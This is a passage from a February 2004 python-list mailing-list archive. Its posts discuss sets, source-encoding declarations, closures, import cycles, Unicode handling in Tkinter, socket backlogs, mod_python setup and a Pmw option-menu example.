> 
> Maybe, once you've been assimilated into the Python Borg mindset, you
> don't, actually.

Aaah, this thread is an attempt to assimilate me :-)  Now I understand.

> There are sort of two extreme possibilities here:
> 
> 1) I am so blinded by the fact that I know Python as of 2.3 FAR better
>    than any other language that I don't see how wonderful Python would
>    be if "full closures" were added.
> 
> 2) Full closures just aren't that appropriate to Pythonic programming.
> 
> The truth, almost certainly, is somewhere in between these points.

An excellent summary, which, in my opinion says all that remains to be
said in this thread.

And, with that, I take my leave. I bid you a good day, gentlemen.


From bart_nessux at hotmail.com  Thu Feb 12 10:04:20 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Thu, 12 Feb 2004 10:04:20 -0500
Subject: sets and subsets
In-Reply-To: <mailman.1.1076543872.698.python-list@python.org>
References: <c0e4g3$r1$1@solaris.cc.vt.edu>
	<c0e8g4$4fi$03$1@news.t-online.com>	<c0e8sa$7gs$1@solaris.cc.vt.edu>	<c0e9uu$41u$00$1@news.t-online.com>
	<mailman.1.1076543872.698.python-list@python.org>
Message-ID: <c0g4ll$4u9$1@solaris.cc.vt.edu>

Fran?ois Pinard wrote:
> [Peter Otten]
> 
> 
>>(untested)
>>from sets import set
> 
> 
>>inputFile = file('ips.txt', 'r') #Super-set
>>include = Set(inputFile.readlines())
>>inputFile.close()
> 
> 
>>readFile = file('excluded_ips.txt', 'r') #Sub-set to exclude
>>exclude = Set(readFile.readlines())
>>readFile.close()
> 
> 
>># No Magic of Elaine
> 
> 
>>outputFile = file('pruned_ips.txt' , 'w')
>>for i in include - exclude:
>>    print >> outputFile, i,
>>outputFile.close()
> 
> 
> Here is an equivalent, shorter algorithm (tested):
> 
> from sets import Set
> file('pruned_ips.txt', 'w').writelines(
>         Set(file('ips.txt')) - Set(file('excluded_ips.txt')))
> 
> This code relies on `writelines' accepting an iterable, sets returning
> their members whenever iterated, Set constructors accepting an iterable,
> and files returning their lines whenever iterated.  And of course, on
> `close' rarely being needed in Python! :-)
> 
> The order of lines in the produced file is kind of random, however.
> 

Wow! Sets are awesome. I was thinking in terms of lists. A list is like 
a set and a set is like a list, but depending on the task at hand, they 
have very different applications. Sets work great when one has a 
super-set and two sub-sets that need to be compared and modified based 
on what they contain and what the super-set contains.

Sets are straight-forward and easy to use too... I can always tell when 
I'm trying to do something with a tool that wasn't designed to do what 
I'm attempting to do (in this case lists). The task becomes complex and 
tedious. Forget about trying to read the code a couple of weeks from now.

Thanks to all for the info on sets!



From theller at python.net  Tue Feb 17 09:54:27 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 17 Feb 2004 15:54:27 +0100
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com> <k72lhi9f.fsf@python.net>
Message-ID: <ad3hhi3g.fsf@python.net>

> "Edward K. Ream" <edreamleo at charter.net> writes:
>
>> The documentation for encoding lines at
>>
>> C:\Python23\Doc\Python-Docs-2.3.1\whatsnew\section-encodings.html
>>
>> states:
>>
>> "Encodings are declared by including a specially formatted comment in the
>> first or second line of the source file."
>>
>> In fact, contrary to the implication, the Python 2.3 parser does not look
>> for lines of the form:
>>
>> # -*- coding: <encoding> -*-
>>
>> For example, Python improperly scans the following line for an encoding
>>
>> #@+leo-ver=4-encoding=iso-8859-1.
>>
>> and reports that iso-8859-1. (note trailing dot) is an invalid encoding!
>>
>> The workaround for my app is to precede this line with the following line:
>>
>> # -*- coding: iso-8859-1 -*-
>>
>> This makes Python 2.3 happy.
>>
>> To make myself perfectly clear: Python has absolutely no right to complain
>> about comment lines that do not have the form:
>>
>> # -*- coding: <encoding> -*-
>>

Thomas Heller <theller at python.net> writes:

>
> You should probably file a bug report for this.

Oops, I saw you did already.

Thomas


From fBechmann at web.de  Sun Feb  8 23:02:59 2004
From: fBechmann at web.de (fBechmann)
Date: Sun, 08 Feb 2004 20:02:59 -0800
Subject: How to search for files
In-Reply-To: <102d1936uqaqbc4@corp.supernews.com>
References: <102d1936uqaqbc4@corp.supernews.com>
Message-ID: <c06149$50n$05$1@news.t-online.com>

os.walk (needs python 2.3) and/or glob.glob() should be good places to 
start your search.


From max at alcyone.com  Thu Feb 19 20:16:59 2004
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 19 Feb 2004 17:16:59 -0800
Subject: os.popen
References: <c12ea1$ivs$1@solaris.cc.vt.edu> <4034C623.3030206@draigBrady.com>
	<1039imrc6ev73a1@corp.supernews.com>
	<4034D018.2050507@draigBrady.com>
Message-ID: <4035600B.97ABD2D8@alcyone.com>

P at draigBrady.com wrote:

> Maybe he didn't make ping.sh executable for some reason.
> Not relevant to this discussion.

Or it has a broken/missing bangpath.

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ You and I / We've seen it all / Chasing our hearts' desire
    -- The Russian and Florence, _Chess_


From edreamleo at charter.net  Tue Feb 17 23:27:39 2004
From: edreamleo at charter.net (Edward K. Ream)
Date: Tue, 17 Feb 2004 22:27:39 -0600
Subject: 2.3 encoding parsing bug
References: <10349ardb7psua3@corp.supernews.com> <uy8r16v9t.fsf@fitlinxx.com>
Message-ID: <1035qdu26n2mt03@corp.supernews.com>

> Presumably it would also work if you just included a pair of blank
> lines

Inserting two blanks lines to defeat the encoding convention would be very
bad programming style.  Instead of blank lines I would insert:

# first line to defeat Python's encoding convention.
# second line to defeat Python's encoding convention.

Naturally, this is hardly an improvement over a line that explicitly
specifies the encoding.

Regardless of various workarounds, the essence of this situation is that pep
263 drastically changed the Python language.  Indeed, it invalidated a file
format that I as an application designer should have had the right to
define, and _did_ have the right to define until Python 2.3 interfered.  I
am not happy.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edreamleo at charter.net
Leo: Literate Editor with Outlines
Leo: http://webpages.charter.net/edreamleo/front.html
--------------------------------------------------------------------




From lipp at epost.de  Mon Feb 16 03:49:00 2004
From: lipp at epost.de (Wolfgang Lipp)
Date: 16 Feb 2004 00:49:00 -0800
Subject: installing mod_python -- sharing experiences
References: <6fa5f178.0402150503.53269cb3@posting.google.com>
Message-ID: <c0f3952d.0402160049.4607b490@posting.google.com>

i should add that one must make sure that sufficient
rights are granted to whatever account the apache
service is run under to read and execute not only in the
web application directory, but also *in the python
directory* -- i guess this point is easily missed. as a
quick check whether this may be one of your problems
(which normally results in the message ``could not
import mod_python.apache`` in the apache errors log
file) you can =either= temporarily set the apache
service account to administrator (provided you have the
rights to do so) =or=, alternatively, go to the python
directory and grant the ``SYSTEM`` account execution
rights. of course, this does not work on fat32 volumes.
-- hope these tips in conjunction with my preceding
posting help people fly their apps,

_wolf


From gogr at fossie.net  Mon Feb  9 18:39:34 2004
From: gogr at fossie.net (Fossie)
Date: 9 Feb 2004 15:39:34 -0800
Subject: Unix domain sockets / IPC - how to get remote process/user id?
Message-ID: <78c7ca81.0402091539.82af1cb@posting.google.com>

Hi folks,

I am unable to solve the following problem, which should not be new,
but I cannot find an appropriate solution anywhere:

One python process ("daemon") waits for messages. Another python
program ("client"), which is NOT forked off the daemon (but is on the
same Linux machine), sends that message to the daemon.

This of course can be nicely done with Unix domain sockets (AF_UNIX),
but additionally I want the daemon to know the process or user id of
the client. The client could of course include this info in the
message, but then it also could fake it, which I want to prevent.
Therefore it must come somewhere from the kernel.

My hope was that the address returned from socket.recvfrom would help,
but with python 2.3.3 on Debian, the returned address is always None
(a bit odd, python 2.1? at least returned a (meaningless?)
int,emptystring-tupel). I know that Unix domain sockets can return
those info (in structure called credentials), but obviously python
does not handle them?

So, for my question: What are my options? I cannot believe I am the
first with this problem. Preferable, only standard python packages
should be used.

Thanks in advance, Fossie


From alanmk at hotmail.com  Wed Feb 11 14:50:02 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Wed, 11 Feb 2004 19:50:02 +0000
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<c0d5gg$u0m$1@absinth.dialog.net.pl>
	<2004021111431416807%this@isforspambot>
Message-ID: <402A876A.2F5BA1D7@hotmail.com>

[ralf at brainbot.com]
>>>> I just wanted to say, that even if the server is
>>>> listening on that port, that connection attempts may fail.

[Benjamin Han]
>>> How is it possible? Could you explain a bit more?

[Krzysztof Stachlewski]
>> Your server may be accepting connections slower than
>> the speed at which new connections are coming.
>> In such situation your operating system maintains a list
>> of those awaiting connections. You can control the length of
>> this list with the "backlog" parameter of the "listen" function.
>> If the list is full, new connections may simply be dropped
>> as if the server was not listening at all.

[Benjamin Han]
> Thanks for the tip - the default queue size is 5. I've since changed it
> into 100 (much more than what it actually needs), but the original
> problem remains.

Another quick point: even if you set the backlog to 100 connections,
that only gives you 3.3333r seconds of grace before the backlog of
connections fills up, given the "up to 30 connections/second" you
mentioned in another message.

The 101st client to attempt a connect() will fail, if the server
doesn't start accept()ing connections before the backlog fills up.

HTH,

-- 
alan kennedy
------------------------------------------------------
check http headers here: http://xhaus.com/headers
email alan:              http://xhaus.com/contact/alan


From LittleDanEhren at yahoo.com  Sun Feb  1 21:56:40 2004
From: LittleDanEhren at yahoo.com (Daniel Ehrenberg)
Date: 1 Feb 2004 18:56:40 -0800
Subject: Python vs. Io
References: <mailman.1089.1075613103.12720.python-list@python.org>
	<1075659536.765710@yasure>
Message-ID: <711c7390.0402011856.2d26c380@posting.google.com>

> Another thought about that:  from the Python version, barks is
> evidently a function.  Even if were a data attribute, I think
> in classical usage it would be a "message", and given that a
> class instance can implement its own attribute lookup, we may
> as well say that data attributes are simply functions with no
> extra parameters.
> 
> So, how odd that anyone would think of putting the function
> AFTER the object.  Did this come from Forth or something?
> 
> In the above example it looks somewhat natural, but only
> because of a declarative flavor that is hardly the rule in
> OO programming.  Take wl.append(w), for example - we're so
> used to this notation there's no point in asking if it would
> make more sense written append.wl(w), but if we're looking
> at a language that has taken a more lispish notation, I'd
> suggest "append wl w" is far more consonant with normal
> (not Forth) programming language notation.
> 
> That leads to an interesting generalization.  Take a common
> thorn out of Python's hide: "join sep wl".  Is "join" a member
> function of sep, or a plain function?  Well, who cares?  If
> sep has a join function, it should apply in this case, but if
> not, there's a generic.  In essence, all functions with 1 or
> more arguments are "member" functions - either of the class
> in which they're declared, or of the generic object class at
> the top of the object hierarchy.
> 
> 	Donn Cave, donn at drizzle.com

In your advocacy of Lisp over Forth (something completely unrelated to
this thread and newsgroup), you miss the major selling point of object
orientation: encapsulation. If you had barks(Dog) instead of
Dog.bark() (I'm using Python not Io syntax for now), bark() is
accessible to everyone, not just Dogs. So I could write bark(Cat),
which shouldn't work. Also, some of your examples of things that are
ambiguous really aren't ambiguous because neither Python nor any other
language uses spaces both in the way they are used in Lisp and the way
they are used in Smalltalk.

Daniel Ehrenberg


From R.Brodie at rl.ac.uk  Wed Feb 11 11:18:18 2004
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Wed, 11 Feb 2004 16:18:18 -0000
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1470.1076515179.12720.python-list@python.org>
Message-ID: <c0dkkb$h2u@newton.cc.rl.ac.uk>

RE: How to avoid "f.close" (no parens) bug?>#- class Test:
>#-     def __getattr__(self, name):
>#-         print "Nobody expects the %s!" % name
>#-
>#- t = Test()
>#- t.spanish_inquisition

>And why is this useful?
>In other words, what happen if the interpreter does not let you do "t.spanish_inquisition"?

If  you can't retrofit a 'getattr' method on an attribute in this way, you are likely
to specify get methods in your stable APIs to start with. Then you'll have code that
looks more like Java: A.getB().getC().getD() instead of A.B.C.D




From andrew.henshaw at gtri.gatech.edu  Mon Feb  2 08:18:33 2004
From: andrew.henshaw at gtri.gatech.edu (Andrew Henshaw)
Date: Mon, 02 Feb 2004 08:18:33 -0500
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>	<mailman.1078.1075571238.12720.python-list@python.org>
	<711c7390.0401311808.3914a94b@posting.google.com>
	<mailman.1110.1075672228.12720.python-list@python.org>
Message-ID: <101sjhabi08vfaa@corp.supernews.com>

Paul Prescod wrote:

...snip...
> First, if I had invented Python I would not have bothered to buck the
> trend of using curly braces. Hardly anyone chooses Python because of
> that feature and some are turned off by it. 
...snip...


Not that this invalidates your point, as I still fall into the category of
'hardly anyone'; but, the indentation-identified block is precisely the
reason I first tried Python.  Having used Occam for many years, I was very
pleased to find a language that recognized the superiority of that style.


--Andy


From max at ucmg.com.ua.remove.it  Tue Feb 10 07:54:32 2004
From: max at ucmg.com.ua.remove.it (Max Ischenko)
Date: Tue, 10 Feb 2004 14:54:32 +0200
Subject: synchronized method
In-Reply-To: <dc6f5c99.0402100332.2fe33c25@posting.google.com>
References: <c0a1mt$v79$1@hyppo.gu.net>
	<dc6f5c99.0402100332.2fe33c25@posting.google.com>
Message-ID: <c0ak7n$duc$1@hyppo.gu.net>

Graham Dumpleton wrote:

>>I wrote simple implementation of the "synchronized" methods (a-la Java), 
>>could you please check if it is OK:
>>
>>def synchronized(method):
>>
>>     """
>>     Guards method execution, similar to Java's synchronized keyword.
>>
>>     The class which uses this method, is required to have a
>>     L{threading.Lock} primitive as an attribute named 'lock'.
>>     """
>>
>>     def wrapper(self, *args):
>>         self.lock.acquire()
>>         try:
>>             return method(self, *args)
>>         finally:
>>             self.lock.release()
>>     return wrapper
> 
> 
> Under normal execution the lock will not be released because you return
> from the try clause.

Hmm. I think you must be wrong:

 >>> def foo():
	try:
		return 1
	finally:
		print 'ok'

		
 >>> foo()
ok
1

> There is also the case that method isn't defined.

Indeed, thanks for pointing this out.

> Someone else was asking about this sort of thing back the end of January.
> The post is included below. As much as doing this sort of thing may sound
> like a good way of handling synchronisation, it still has its problems.

[ cut ]

I'll look into it.


From jcarlson at nospam.uci.edu  Wed Feb 25 16:42:00 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Wed, 25 Feb 2004 13:42:00 -0800
Subject: Some language proposals.
In-Reply-To: <mailman.91.1077703341.8594.python-list@python.org>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>	<tyffzczoahx.fsf@pcepsft001.cern.ch>
	<mailman.91.1077703341.8594.python-list@python.org>
Message-ID: <c1j508$lf6$1@news.service.uci.edu>

Paul,

Your outputs were all incorrect.

>> Could somebody point me to an explanation of why closures are broken
>> in this way in the first place, please ?
> 
> 
> a = 5
> def b():
>     a = 6
>     print a
> b()
> print a
> 
> What will this print?
> 
> 5
> 6

 >>> a = 5
 >>> def b():
...     a = 6
...     print a
...
 >>> b()
6
 >>> print a
5


> Okay, then.
> 
> a = 5
> def b():
>     a = 6
>     def c():
>         a = 7
>         print a
>     print a
>     c()
> 
> print b()()
> print a
> 
> What does this print?
> 
> 7
> 6
> 5

What you give doesn't work, here's a slight modification:

 >>> a = 5
 >>> def b():
...     a = 6
...     def c():
...         a = 7
...         print a
...     print a
...     return c
...
 >>>
 >>> b()()
6
7
 >>> print a
5


I don't know what you were trying to prove, but next time, test it out.

  - Josiah


From skip at pobox.com  Thu Feb  5 10:52:25 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 5 Feb 2004 09:52:25 -0600
Subject: csv module usage in w2k -> lineterminator in dialect?
In-Reply-To: <40220BE3.1B3DB7DF@sunpoint.net>
References: <40220BE3.1B3DB7DF@sunpoint.net>
Message-ID: <16418.26297.382055.144603@montanaro.dyndns.org>


    Teuvo> If I use:
    Teuvo> lineterminator = '\n' in the dialect
    Teuvo> the file ends get's generated in hex: 0D OA  (Carriadge return, new
    Teuvo> line)

Make sure you open the file with the 'b' flag.

Skip



From chris.lyon at spritenote.co.uk  Tue Feb 10 05:50:13 2004
From: chris.lyon at spritenote.co.uk (Chris Lyon)
Date: 10 Feb 2004 02:50:13 -0800
Subject: Creating objects you don't actually want
Message-ID: <d232c5e.0402100250.20e49e37@posting.google.com>

If you wish to create an object:- 

for item in os.listdir('dir'):
    sfx = sfxobject(item)


class sfxobject(object):
    def __init__(self, filename):
        if isfile(filename):
            self.filename = filename
            # all kinds of other parameter setting

If the creation fails for any reason you are left with an object which
is not really a 'proper' object how is it best to deal with this
circumstance?

Do you raise an exception and perform the creation line within a try:
except: and then delete it?


class sfxobject(object):
    def __init__(self,filename):
        if isfile(filename):
            self.filename = filename
            # all kinds of other parameter setting
         else:
            raise sfxobjectError

for item in os.listdir('dir'):
    try:
        sfx = sfxobject(item)
    except: sfxobjectError
        del sfx

or should you heavily check the parameter before you try to create the
object?

for item in os.listdir('dir'):
    if os.isfile(item):  
        sfx = sfxobject(item)

I would think that this second method should really have all the
checking within the object it's self but then of course you have to
create the object to allow you to do the checks and you will still be
left with an inapproriate object to clean up afterwards?

No doubt there are many other ways of addressing this but it's a
problem I would love to have a deffinative answer to, unless of course
there isn't one.


From newsgroups at jhrothjr.com  Sat Feb  7 22:17:28 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 7 Feb 2004 22:17:28 -0500
Subject: Basic 'import' problem
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
	<c03kmp$28u7$1@ns.felk.cvut.cz>
Message-ID: <102bam08nv0jeca@news.supernews.com>

"Frantisek Fuka" <fuka at fuxoft.cz> wrote in message
news:c03kmp$28u7$1 at ns.felk.cvut.cz...
> Diez B. Roggisch wrote:

> > But what you try is to already execute code from file in file2 _while_
> > importing file2 inside file, because you have statements on the
> > module-level - and that can't work. And I doubt that a language exists
> > where thats possible.

PL/1 at least.

> Yes, this seems logical. It looks like I have some fundamental problems
> with grasping the philosophy of Python...
>
> My application is started from base.py. This file imports many other
> files (modules) that do different stuff. Base.py references dozens of
> classes and functions in other modules. After a while, there comes a
> time when some of these modules need to reference some basic function
> inluded in base.py. Which means (I thought until now) that I have to
> include base.py in these files. Or not? Are you saying there is no
> chance of doing this? Let's forget "import" for now and please explain
> to me: Is there way to create a Python application consisting of several
> modules that can freely call and reference stuff in each other? From
> your answer it seems that the anwer is "no".

Actually, you can. There is a general principle that will
solve most of these problems, and a couple of emergency
(meaning completely non-obvious so the magic needs to
be thoroughly documented) procedures that will solve the rest.

The basic answer to this is to structure your modules in
layers as much as possible so that you avoid import loops.

The key to doing this is your class structure. The basic fact
is that your class structure cannot contain cycles. Your
module structure has to reflect your class inheritance
structure for this reason.

If you still have modules that require out of order
imports, you can solve some of these cases by putting
the out of order imports at the bottom of the modules
that need them.

If that doesn't work, then you need to do the out of order
imports in a second pass. There are two ways of doing
this.

One is to encapsulate the out of order imports in a module
level function and call that function from the driver after
all the modules have been imported; the other is simply
to slam the bindings for the out of order modules into the
modules that need them using setattr. I'd recommend
the first since it's easier to document.

John Roth

>
> -- 
>                                           Frantisek Fuka
> (yes, that IS my real name)
> (and it's pronounced "Fran-tjee-shek Foo-kah")
> ----------------------------------------------------
> My E-mail:   fuka at fuxoft.cz
> My Homepage: http://www.fuxoft.cz
> My ICQ:      2745855




From michael at foord.net  Mon Feb 23 10:21:29 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 07:21:29 -0800
Subject: Changing the default text codec
References: <8089854e.0402230050.145a8c94@posting.google.com>
	<mailman.193.1077530419.27104.python-list@python.org>
Message-ID: <8089854e.0402230721.7975f4a2@posting.google.com>

Paul Prescod <paul at prescod.net> wrote in message news:<mailman.193.1077530419.27104.python-list at python.org>...
> Fuzzyman wrote:
> > Sorry if my terminology is wrong..... but I'm having intermittent
> > problems dealing with accented characters in python. (Only from the 8
> > bit latin-1 character set I think..)
> 
> I would say that if you get a 100% failure rate in IDLE and a 100% 
> success rate from a console program then your problem is not 
> intermittent but environment specific.

If that was the case then I'm sure you'd be right... good not to
quibble about terminology eh ;-)

(in a few other test cases the success-fail pattern was the opposite
way round)


> 
> > For example - if I run my program from IDLE and give it the word
> > 'degri' (containing e-acute) then I get the error :
> 
> What do you mean "give it the word". Through raw_input()? Through a file?
> 

Right - it is fetching the words from a Tkinter entry box using the
get() method.

> However you are getting this information, it seems to me that in IDLE 
> you are getting a Unicode object rather than an 8-bit string object. 
> Convert it to an 8-bit string:
> 
> mydata.encode("latin-1")

Great - that might do the job.
I'll try it.
Thanks.

> 
>  >  if letter in self.valid_letters:
>  > UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position
>  > 26: ordinal not in range(128)
> 
> Something looks suspicious here. I wouldn't expect self.valid_letters to 
> have a 0x83 character in it because I would expect it to be hard-coded 
> to ASCII in your program like:
> 

Self.valid_letters *in fact* is string.lowercase - which I thought
included the 8 bit latin-1 letters as well. (the letters are converted
to lowercase by using the .lower() string method )


> valid_letters = "abcdefghijklmnopqrstuvwxyzABCDEF..."
> 
> On the other hand I wouldn't expect "letter" to have more than one 
> character so how could it have a problem at position 26?
> 

I'm iterating over the string.



> > What I'd like to do is switch by default to an 8 bit codec (latin-1 I
> > think ?????) and then offer the user the choice of either mapping the
> > accented characters to their nearest equivalent (e-acute to e for
> > example) *or* treating them as seperate characters.............
> 
> Why change the default codec rather than explicitly using the codec you 
> care about? If you want to work in the 8-bit world rather than the 
> Unicode world, just use the "encode" function on the Unicode object. If 
> you want to work in the Unicode world.
> 


Great - sounds good.

> > I can't work out how to change the default codec (no matter what the
> > locale) ?
> 
> I'd advise against fixing the problem in that way. Convert data 
> appropriately when you bring it from the outside world into the Python 
> program and ignore the default codec.
> 
>   Paul Prescod

Thanks for your help.



Fuzzyman

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From jepler at unpythonic.net  Sun Feb 22 20:33:27 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Sun, 22 Feb 2004 19:33:27 -0600
Subject: Help With EOF character and regular expression matching: URGENT
In-Reply-To: <20040222171750.1756896657.eric@zomething.com>
References: <20040222171750.1756896657.eric@zomething.com>
Message-ID: <20040223013327.GA9946@unpythonic.net>

On Sun, Feb 22, 2004 at 05:17:50PM -0800, Eric @ Zomething wrote:
> Also, maybe this will help with dups:

If you're using python2.3, you want to use sets for this.

>>> import sets
>>> l = [1, 1, 2, 3, 5, 5, 9]
>>> sets.Set(l)
Set([1, 2, 3, 5, 9])
>>> list(sets.Set(l))
[1, 2, 3, 5, 9]

Jeff



From aahz at pythoncraft.com  Wed Feb 18 11:26:18 2004
From: aahz at pythoncraft.com (Aahz)
Date: Wed, 18 Feb 2004 11:26:18 -0500
Subject: www.python.org downtime Thurs 2/18
Message-ID: <20040218162617.GA16997@panix.com>

www.python.org will be down Thurs Feb 18, 2004 starting at 23:00 GMT and
lasting for approximately two hours.  The machine is being moved, so this
is a "hard" downtime, not just maintenance with some services down.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach



From stewart at midtoad.homelinux.org  Mon Feb 23 02:36:15 2004
From: stewart at midtoad.homelinux.org (stewart)
Date: Mon, 23 Feb 2004 07:36:15 GMT
Subject: Pmw optionMenu dynamic contents display?
References: <msh_b.594134$X%5.318160@pd7tw2no>
Message-ID: <P3i_b.580836$JQ1.100678@pd7tw1no>

Here's a test app to demonstrate the concept, and the difficulty.

#file testselectstate.py
title = 'LeakWarn System Selection'

# Import Pmw from this directory tree.
import sys
sys.path[:0] = ['../../..']

import Tkinter
import Pmw, re

global continentList, countryList, stateList

continentList = ['N.America','C. America', 'S. America']
countryList   = [['Canada','USA','Mexico'],
                ['Guatemala','Nicaragua','Panama'],
                ['Venezuela','Colombia','Ecuador']]
stateList     = [[['BC','Alberta','Saskatchewan','others'],
                ['California','Oregon','Washington','others'],
                ['Michoacan','Oaxaca','Monterrey','others']],
                [['Guatemala states'],['Nicaragua states'],['Panama states']],
                [['Venezuela states'],['Colombia states'],['Ecuador states']]]

# default selection
continentItem = continentList[0]
countryItem   = countryList[0][0]
stateItem     = stateList[0][0][0]

class selectSystem:
    def __init__(self, parent):
        # Create and pack the OptionMenu megawidgets.
        # The first one has a textvariable.
        self.var1 = Tkinter.StringVar()
        self.var2 = Tkinter.StringVar()
        self.var3 = Tkinter.StringVar()
        self.var1.set(continentItem)    # N. America
        self.var2.set(countryItem)      # Canada
        self.var3.set(stateItem)        # B.C.

        self.method1_menu = Pmw.OptionMenu(parent,
                labelpos = 'w',
                label_text = 'Select Continent:',
                menubutton_textvariable = self.var1,
                items = continentList,
                menubutton_width = 20,
                menubutton_direction = 'flush',
                command = self._getSelection
        )
        self.method1_menu.pack(anchor = 'w', padx = 10, pady = 10)

        self.method2_menu = Pmw.OptionMenu (parent,
                labelpos = 'w',
                label_text = 'Select country:',
                menubutton_textvariable = self.var2,
                items = countryList[0],
                menubutton_width = 20,
                menubutton_direction = 'flush',
                command = self._getSelection
        )
        self.method2_menu.pack(anchor = 'w', padx = 10, pady = 10)

        self.method3_menu = Pmw.OptionMenu (parent,
                labelpos = 'w',
                label_text = 'Select state:',
                menubutton_textvariable = self.var3,
                items = stateList[0][0],
                menubutton_width = 20,
                menubutton_direction = 'flush' ,
                command = self._getSelection
        )
        self.method3_menu.pack(anchor = 'w', padx = 10, pady = 10)

        menus = (self.method1_menu, self.method2_menu, self.method3_menu)
        Pmw.alignlabels(menus)

        # Create the dialog.
        self.dialog = Pmw.Dialog(parent,
            buttons = ('OK', 'Apply', 'Cancel', 'Help'),
            defaultbutton = 'OK',
            title = 'Select State',
            command = self.execute)
        self.dialog.withdraw()

        # Add some contents to the dialog.
        w = Tkinter.Label(self.dialog.interior(),
            text = 'Pmw Dialog\n(put your widgets here)',
            background = 'black',
            foreground = 'white',
            pady = 20)
        w.pack(expand = 1, fill = 'both', padx = 4, pady = 4)

    def showAppModal(self):
        self.dialog.activate(geometry = 'centerscreenalways')

    def execute(self, result):
        print 'You clicked on', result
        if result not in ('Apply', 'Help'):
            self.dialog.deactivate(result)

    def _getSelection(self, choice):
        # Can use 'self.var.get()' instead of 'getcurselection()'.
        print 'You have chosen %s : %s : %s' % \
            (self.var1.get(), 
             self.var2.get(), 
             self.var3.get() )
        print choice  # debug
        i2 = indexContinent(self.var1.get())
        self.var2.set(countryList[i2][0])
        countryItem = countryList[i2]
        #print pipelineItems  # debug
        self.method2_menu.config(items = countryList)
        #s3 = systemElements.indexpipe(s2,test2)

    def __call__(self):
        self.dialog.show()

def indexContinent(name):
        found = 'false'
        for i in range(len(continentList)):
                check = continentList[i]
                # print 'checking %s in %s' % (name, check)  # debug
                if re.search(name,check):
                        found = 'true'
                        break
        print found
        if (found=='true'):
                #print 'index of %s is %s' % (name,i)  # debug
                return i
        else:
                return -1

def indexCountry(continentindex, name):
        found = 'false'
        for i in range(len(countryList[continentindex])):
                check = countryList[continentindex][i]
                # print 'checking %s in %s' % (name, check)  # debug
                if re.search(name,check):
                        found = 'true'
                        break
        print found
        if (found=='true'):
                #print 'index of %s is %s' % (name,i)  # debug
                return i
        else:
                return -1


######################################################################

# Create selectSystem in root window for testing.
if __name__ == '__main__':
    root = Tkinter.Tk()
    Pmw.initialise(root)
    root.title(title)

    OKButton = Tkinter.Button(root, text = 'OK', command = root.destroy)
    OKButton.pack(side = 'bottom')

    widget = selectSystem(root)
    root.mainloop()



From ptmcg at users.sourceforge.net  Tue Feb 17 14:38:54 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Tue, 17 Feb 2004 19:38:54 GMT
Subject: IP list generation
References: <mailman.74.1077039244.31398.python-list@python.org>
Message-ID: <i5uYb.1866$J84.815@fe1.texas.rr.com>

"Stephen Briley" <sdb1031 at yahoo.com> wrote in message
news:mailman.74.1077039244.31398.python-list at python.org...
> Hi all,
>
> I would like to write a python script that takes input
> of 2 ip address, one a start address and the other the
> end address and prints a list of all ip address in
> between  in dotted-decimal format.  If so, what is the
> recommended way?  Is there a way to do this with the
> supplied python modules?
>
> Thanks!
>
> __________________________________
> Do you Yahoo!?
> Yahoo! Finance: Get your refund fast by filing online.
> http://taxes.yahoo.com/filing.html
>
You posted this exact same request 3 days ago.  On 2/15, I posted a working
function in response to that post.  It should still be accessible in the
newsgroup archive.




From dialton3.NOSPAM_ at virgilio.it  Sat Feb 28 09:32:50 2004
From: dialton3.NOSPAM_ at virgilio.it (Valentino Volonghi aka Dialtone)
Date: Sat, 28 Feb 2004 15:32:50 +0100
Subject: Please hear my plea: print without softspace
References: <4041796c.2181078@news.muenster.de>
	<dca1dc79fa2d9efd5bb586b079d4db53.46955@mygate.mailgate.org>
Message-ID: <9nrc43idsjh1.7af9ozuv2nc7$.dlg@40tude.net>

In data Sat, 28 Feb 2004 12:01:40 +0000 (UTC), Carmine Noviello ha
scritto:

> def pprint(*args):
>     txt = ""
>     for a in args:
>        txt += str(a)
>     print txt
> 
> Is it ok?

I would use this instead:

def pprint(*args):
    txt = []
    for a in args:
        txt.append(a)
    print ''.join(txt)

which is a lot faster :)

-- 
Valentino Volonghi aka Dialtone
Now using Windows for Notebook Hw failure
X Python Newsreader developer
http://sourceforge.net/projects/xpn/


From augusto at omnitec.it  Mon Feb 16 12:14:04 2004
From: augusto at omnitec.it (Augusto)
Date: 16 Feb 2004 09:14:04 -0800
Subject: Principiante in cerca di spiegazione!
References: <72eeefd4.0402110843.115a8e60@posting.google.com>
	<mailman.1478.1076519132.12720.python-list@python.org>
Message-ID: <72eeefd4.0402160914.225c95dc@posting.google.com>

All right.. Thanks! Now it's ok..

Python rulez! bye!


From http  Mon Feb 16 03:32:36 2004
From: http (Paul Rubin)
Date: 16 Feb 2004 00:32:36 -0800
Subject: [OPINION] - does language really matter if they all do
	the	samething?
